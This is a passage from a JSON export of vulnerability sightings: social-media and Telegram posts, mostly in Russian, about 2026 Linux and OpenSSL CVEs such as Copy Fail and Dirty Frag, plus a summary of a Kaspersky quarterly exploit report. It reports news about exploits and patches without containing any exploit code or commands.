\u0438 \u043f\u0438\u0441\u044c\u043c\u0430 BEC \u0447\u0435\u0440\u0435\u0437 Amazon Simple Email Service. \u041f\u0438\u0441\u044c\u043c\u0430, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0438\u0437 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b AWS, \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 SPF, DKIM \u0438 DMARC.\n\n\u2757\ufe0f \u0412\u0434\u043e\u0433\u043e\u043d\u043a\u0443 \u043a \u043e\u043f\u0430\u0441\u043d\u043e\u0439 Linux-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CopyFail (CVE-2026-31431), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u0435\u0449\u0451 \u043e\u0434\u0438\u043d \u043f\u043e\u0445\u043e\u0436\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e root. Dirty Frag (CVE-2026-43284 \u0438 \u201143500) \u0441 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0436\u0435 \u0434\u043d\u044f \u0441\u043d\u0430\u0431\u0436\u0451\u043d \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u043c PoC \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430  Ubuntu, RHEL, CentOS Stream, AlmaLinux, openSUSE, Tumbleweed \u0438 Fedora.\n\n#\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 #APT #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 @\u041f2\u0422", "creation_timestamp": "2026-05-12T08:01:15.000000Z"}, {"uuid": "1c959e4f-d3ee-4d04-b85a-cccec7c1e91a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/mudkip.indieweb.social.ap.brid.gy/post/3mlngrwr52d72", "content": "52Pok\u00e9 is down for about 1 hours due to @hetzner volume maintenance \"due to a critical software update\". I guess it's CVE-2026-31431?", "creation_timestamp": "2026-05-12T09:07:09.800781Z"}, {"uuid": "5f298893-2c1d-4b21-9950-efa79f4ea5e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31790", "type": "seen", "source": "https://t.me/sysadm_in_up/2546", "content": "OpenSSL Security Advisory [7th April 2026]\n==========================================\n\nIncorrect Failure Handling in RSA KEM RSASVE Encapsulation (CVE-2026-31790)\n==========================================\n\nhttps://openssl-library.org/news/secadv/20260407.txt", "creation_timestamp": "2026-08-03T23:00:13.474330Z"}, {"uuid": "a629059f-72b1-46f0-ac87-e909c4d594a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/diesec.bsky.social/post/3mlnn3z4pox2j", "content": "732 bytes of Python \u2192 root on every Linux server you own. CVE-2026-31431 works on Ubuntu, RHEL, Debian, SUSE \u2014 no timing windows, no recompilation. CISA deadline May 15. Patch now.\n\n#Linux #CVE202631431 #PatchNow #CISAKEV", "creation_timestamp": "2026-05-12T11:00:05.882905Z"}, {"uuid": "4f2448d9-ad55-425f-9100-018bf0f3195b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/habr_com_news/46381", "content": "7 \u043c\u0430\u044f 2026 \u0433\u043e\u0434\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Parrot Security\u00a0\u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430\u00a0\u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432 Parrot OS 7.2\u00a0\u043d\u0430\u00a0\u0431\u0430\u0437\u0435 Debian 13.4\u00a0Trixie \u0438 \u044f\u0434\u0440\u0430 Linux 6.19.13 \u0441 \u043f\u0430\u0442\u0447\u0435\u043c \u043f\u0440\u043e\u0442\u0438\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-31431 (Copy Fail). \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u043d\u0430\u00a0\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0438 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e \u0434\u043b\u044f\u00a0\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0438 \u044d\u0442\u0438\u0447\u043d\u043e\u0433\u043e \u0445\u0430\u043a\u0438\u043d\u0433\u0430. \u0412\u044b\u043f\u0443\u0441\u043a Parrot OS 7.0\u00a0\u0441\u043e\u0441\u0442\u043e\u044f\u043b\u0441\u044f\u00a0\u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2025 \u0433\u043e\u0434\u0430. \u0421\u0431\u043e\u0440\u043a\u0430 Parrot OS 7.1\u00a0\u0432\u044b\u0448\u043b\u0430\u00a0\u0432 \u0444\u0435\u0432\u0440\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430.\n\n#\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 #\u041e\u0421", "creation_timestamp": "2026-05-12T11:45:03.000000Z"}, {"uuid": "a6410ea9-604b-440f-9f7e-c1dfc300b6a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83922", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a studiogangster\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-12 10:40:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\noen liner CVE-2026-31431 test. Created 'sandbox' on sudo user and tests if ir can escape to root\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-12T11:00:05.000000Z"}, {"uuid": "36c62ee3-6027-4458-9c58-8b2ec35f5ef7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/88YkBdmMMIAUjkN-cy3WAm2Yboedxaf0GfTYOA3KafU0qTc", "content": "", "creation_timestamp": "2026-05-12T15:00:07.000000Z"}, {"uuid": "c9652605-107b-4f10-b4d1-b0096270f9e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83946", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Smarttfoxx\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 7  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 4\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-12 10:13:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 (Copy Fail) PoC - Linux kernel page cache corruption via authencesn AF_ALG + splice()\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-12T14:00:06.000000Z"}, {"uuid": "71908289-437b-4db7-bf96-305114a3bd3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://t.me/S_E_Reborn/6571", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2026 \u0433\u043e\u0434\u0430.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043a\u043e\u043d\u0441\u0442\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 CVE \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u043e \u0431\u0435\u0441\u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u042d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u043f\u043e\u0432\u0441\u0435\u043c\u0435\u0441\u0442\u043d\u044b\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0418\u0418 \u043a\u0430\u043a \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0442\u0430\u043a \u0438 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0442\u0430\u043b\u0438 \u0447\u0430\u0449\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u043a \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0440\u0435\u0437\u043e\u043d\u0430\u043d\u0441, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442 \u0432 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u043d\u0438\u043c: \u043d\u0435 \u0434\u043e\u0436\u0438\u0434\u0430\u0442\u044c\u0441\u044f, \u043f\u043e\u043a\u0430 \u0438\u0445 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442, \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u044f \u0443\u0436\u0435 \u043e \u043f\u0430\u0442\u0447\u0430\u0445.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c Nightmare Eclipse (\u0438\u043b\u0438 Chaotic Eclipse) \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0441\u043f\u0438\u0441\u043e\u043a \u043d\u043e\u0432\u044b\u0445 \u00ab\u0438\u043c\u0435\u043d\u043d\u044b\u0445\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows (BlueHammer, RedSun, YellowKey, GreenPlasma, RougePlanet, UnDefend).\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0441\u043b\u0443\u0447\u0430\u0438 \u043f\u043e\u043a\u0430 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b, \u0432 \u041b\u041a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u043f\u0435\u0440\u0435\u0440\u0430\u0441\u0442\u0443\u0442 \u0432 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u0435\u043d\u0434. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0430\u043d\u043d\u044f\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0434 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438, \u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0422\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u00ab\u0437\u0430\u0441\u043b\u0443\u0436\u0435\u043d\u043d\u044b\u0435\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041f\u041e \u0434\u043b\u044f Windows, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u044d\u0442\u043e CVE-2018-0802 \u0438 CVE-2017-11882 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor; CVE-2017-0199 \u0432 Microsoft Office \u0438 WordPad; CVE-2023-38831 \u0438 CVE-2025-6218 (ZDI-CAN-27198) \u0432 WinRAR; CVE-2025-8088 \u043f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f CVE-2025-6218.\n\n\u041f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u0412 Linux \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0442\u043e\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u043d\u0430\u044f \u043f\u043e\u043b\u043e\u0441\u0430. \u0422\u0430\u043a, \u0431\u044b\u043b \u0440\u0430\u0441\u043a\u0440\u044b\u0442 \u043a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Dirty Frag, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430, \u0442\u0430\u043a \u0438\u043b\u0438 \u0438\u043d\u0430\u0447\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c \u043a \u043a\u044d\u0448\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435: CVE-2026-31431 (Copy Fail), CVE-2026-43284, CVE-2026-43500 (Dirty Frag), CVE-2026-46300 (Fragnesia), CVE-2026-31635 (DirtyDecrypt), CVE-2026-43494 (PinTheft) \u0438 CVE-2026-46331 (pedit COW).\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0441\u0440\u0430\u0437\u0443 \u0441\u0442\u0430\u043b\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0442\u0430\u043a\u0436\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2022-0847 (Dirty Pipe), CVE-2019-13272, CVE-2021-22555, CVE-2023-32233.\n\n\u0412 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e \u0442\u0438\u043f\u0430\u043c \u041f\u041e \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0438 \u0432 \u0432\u044b\u0431\u043e\u0440\u043a\u0443. \u0422\u0430\u043a, \u043c\u044b \u0441\u043d\u043e\u0432\u0430 \u0432\u0438\u0434\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0442\u0430\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u043a\u0430\u043a SharePoint.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430\u043c\u0435\u0442\u0438\u043b\u0441\u044f \u0442\u0440\u0435\u043d\u0434 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0440\u0430\u0437\u0443 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0438\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u043a\u0430\u043a \u0438 \u0440\u0430\u043d\u044c\u0448\u0435, \u0432 \u041b\u041a \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438 \u043c\u043d\u043e\u0433\u043e 0-day. \u0421\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u043e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Langflow - \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u043f\u0435\u0440\u0432\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u043a\u043e\u0433\u0434\u0430 APT \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0418\u0418, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0435\u0439\u0447\u0430\u0441 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\n\n\u0421\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 C2-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430\u043c\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f Sliver, Havoc, Adaptix\u04212 \u0438 Metasploit.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 